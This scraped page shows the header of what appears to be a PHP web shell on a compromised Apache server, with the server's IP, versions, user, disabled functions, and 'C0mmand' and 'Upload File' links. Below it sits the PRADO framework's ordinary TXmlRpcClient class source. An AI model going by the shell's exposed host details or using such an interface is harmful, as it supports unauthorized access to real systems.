|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ifk/web/assets/../prado4.3.2/Util/Cron/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* @author Robin J. Rogge <rrogge@bigpoint.net>
* @link https://github.com/pradosoft/prado
* @license https://github.com/pradosoft/prado/blob/master/LICENSE
* @since 3.2
*/
namespace Prado\Util;
/**
* TXmlRpcClient class
*
* Note: When using setIsNotification(true), *every* following request is also
* considered to be a notification until you use setIsNotification(false).
*
* Usage:
* <pre>
* $_rpcClient = new TXmlRpcClient('http://remotehost/rpcserver');
* $_rpcClient->remoteMethod($param, $otherParam);
* </pre>
*
* @author Robin J. Rogge <rrogge@bigpoint.net>
* @since 3.2
*/
class TXmlRpcClient extends TRpcClient
{
// magics
/**
* @param string $method RPC method name
* @param array $parameters RPC method parameters
* @throws TRpcClientRequestException if the client fails to connect to the server
* @throws TRpcClientResponseException if the response represents an RPC fault
* @return mixed RPC request result
*/
public function __call($method, $parameters)
{
// send request
$_response = $this->performRequest($this->getServerUrl(), $this->encodeRequest($method, $parameters), 'text/xml');
// skip response handling if the request was just a notification request
if ($this->getIsNotification()) {
return true;
}
// decode response
if (($_response = xmlrpc_decode($_response)) === null) {
throw new TRpcClientResponseException('Empty response received');
}
// handle error response
if (xmlrpc_is_fault($_response)) {
throw new TRpcClientResponseException($_response['faultString'], $_response['faultCode']);
}
return $_response;
}
// methods
/**
* @param string $method method name
* @param array $parameters method parameters
*/
public function encodeRequest($method, $parameters)
{
return xmlrpc_encode_request($method, $parameters);
}
/**
* Creates an instance of TXmlRpcClient
* @param mixed $type unused
* @param string $serverUrl url of the rpc server
* @param bool $isNotification whether the requests are considered to be notifications (completely ignoring the response) (default: false)
*/
public static function create($type, $serverUrl, $isNotification = false)
{
return new self($serverUrl, $isNotification);
}
}